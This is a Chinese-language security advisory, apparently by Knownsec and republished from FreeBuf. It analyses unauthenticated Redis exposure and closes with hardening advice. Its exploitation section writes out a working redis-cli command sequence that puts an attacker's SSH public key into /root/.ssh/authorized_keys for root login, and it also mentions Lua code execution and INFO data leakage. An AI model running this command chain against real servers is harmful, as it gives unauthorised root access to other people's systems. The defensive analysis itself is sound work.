Redis未授权访问配合SSH key文件利用分析

1.更新情况

2.漏洞概述

Redis默认情况下,会绑定在0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功在Redis服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。

2.1漏洞描述

Redis安全模型的观念是:“请不要将Redis暴露在公开网络中,因为让不受信任的客户接触到Redis是非常危险的”。

Redis作者之所以放弃解决未授权访问导致的不安全性是因为,99.99%使用Redis的场景都是在沙盒化的环境中,为了0.01%的可能性增加安全规则的同时也增加了复杂性,虽然这个问题的并不是不能解决的,但是这在他的设计哲学中仍是不划算的。

因为其他受信任用户需要使用Redis或者因为运维人员的疏忽等原因,部分Redis绑定在0.0.0.0:6379,并且没有开启认证(这是Redis的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,将会导致Redis服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。

利用Redis自身的相关方法,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的/root/.ssh文件夹的authotrized_keys文件中,进而可以直接登录目标服务器。

2.2漏洞影响

Redis暴露在公网(即绑定在0.0.0.0:6379,目标IP公网可访问),并且没有开启相关认证和添加相关安全策略情况下可受影响而导致被利用。

通过ZoomEye的搜索结果显示,有97707在公网可以直接访问的Redis服务。

根据ZoomEye的探测,全球无验证可直接利用Redis分布情况如下:

全球无验证可直接利用Redis TOP 10国家与地区:

2.3漏洞分析与利用

首先在本地生产公私钥文件:

$ssh-keygen –t rsa

然后将公钥写入foo.txt文件

$ (echo -e " "; cat id_rsa.pub; echo -e " ") > foo.txt

再连接Redis写入文件

$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit $ redis-cli -h 192.168.1.11 $ 192.168.1.11:6379> config set dir /root/.ssh/ OK $ 192.168.1.11:6379> config get dir 1) "dir" 2) "/root/.ssh" $ 192.168.1.11:6379> config set dbfilename "authorized_keys" OK $ 192.168.1.11:6379> save OK

这样就可以成功的将自己的公钥写入/root/.ssh文件夹的authotrized_keys文件里,然后攻击者直接执行:

$ ssh –i id_rsa root@192.168.1.11

即可远程利用自己的私钥登录该服务器。

当然,写入的目录不限于/root/.ssh下的authorized_keys,也可以写入用户目录,不过Redis很多以root权限运行,所以写入root目录下,可以跳过猜用户的步骤。

2.4Redis未授权的其他危害与利用

2.4.1数据库数据泄露

Redis作为数据库,保存着各种各样的数据,如果存在未授权访问的情况,将会导致数据的泄露,其中包含保存的用户信息等。

2.4.2代码执行

Redis可以嵌套Lua脚本的特性将会导致代码执行,危害同其他服务器端的代码执行,样例如下

一旦攻击者能够在服务器端执行任意代码,攻击方式将会变得多且复杂,这是非常危险的.

通过Lua代码攻击者可以调用redis.sha1hex()函数,恶意利用Redis服务器进行SHA-1的破解。

2.4.3敏感信息泄露

通过Redis的INFO命令,可以查看服务器相关的参数和敏感信息,为攻击者的后续渗透做铺垫。

可以看到泄露了很多Redis服务器的信息,有当前Redis版本,内存运行状态,服务端个数等等敏感信息。

2.5漏洞验证

可以使用漏洞验证框架Pocsuite(http://github.com/knownsec/pocsuite)执行以下的代码可以用于测试目标地址是否存在未授权的Redis服务。

3.安全建议

1. 配置bind选项,限定可以连接Redis服务器的IP,修改Redis默认端口6379

2. 配置认证,也就是AUTH,设置密码,密码会以明文方式保存在Redis配置文件中

3. 配置rename-command 配置项 “RENAME_CONFIG”,这样即使存在未授权访问,也能够给攻击者使用config 指令加大难度

4. 好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如config

* 作者:知道创宇安全研究团队(企业账号),转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2015-11-12

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏liulun

让git不再跟踪配置文件的变化

1522
来自专栏idba

基于consul的Redis高可用方案

这几天在研究如何做Redis的高可用容灾方案,查询了资料和咨询DBA同行,了解到Redis可以基于consul和sentinel实现读写分离以及HA高可用方案。...

3161
来自专栏北京马哥教育

原创投稿 | zabbix的理论知识

? 1.zabbix是什么 zabbix是一款基于web页面的、开源的、企业级的,可以分布式部署的监控软件。 2.zabbix的作用 监控windows和Li...

3076
来自专栏Seebug漏洞平台

DeDeCMS v5.7 密码修改漏洞分析

织梦内容管理系统(DedeCms)以简单、实用、开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统,在经历多年的发展,目前的...

4818
来自专栏Java成长之路

线程的实现方式

本文主要介绍线程的3种实现方式和java线程的实现方式。线程是比进程更轻量级的调度执行单位,线程的引入,可以把一个进程的资源分配 和执行调度分开,各个进程既可以...

1465
来自专栏源哥的专栏

开发统一的博客接口

现在博客很流行,很多人都在使用博客,有些人同时拥有几个不同的博客网站,不知你有没有这样的烦恼,就是你写了一篇文章,这时想传到不同的博客网站上去,就得打开不同的...

923
来自专栏Rainbond开源「容器云平台」

好雨云帮每周更新日志(2017.02.27-2017.03.12)

1213
来自专栏24K纯开源

mac下利用Breakpad的dump文件进行调试

一、前情回顾 最近把公司的一个视频处理程序更新了一个版本,准备提交测试的发现了崩溃的情况。这个程序采用Qt和ffmpeg技术栈开发,主要用于对视频进行渲染拼接处...

6869
来自专栏CSDN技术头条

DC/OS 的安装与部署

2016年4月,Mesosphere开源了他们开发的DC/OS (数据中心操作系统),引起了广泛的关注,虽然开源版本和他们的企业版本应该还有一些差距,但是我们仍...

5557
来自专栏喵了个咪的博客空间

PhalGo-初识PhalGO

PhalGo-初识PhalGO PhalGo是一个API开发框架,因为使用了Echo框架同样也能用于MVC的开发,MVC具体可以参考Echo官方文档,对于Pha...

31010

扫码关注云+社区

领取腾讯云代金券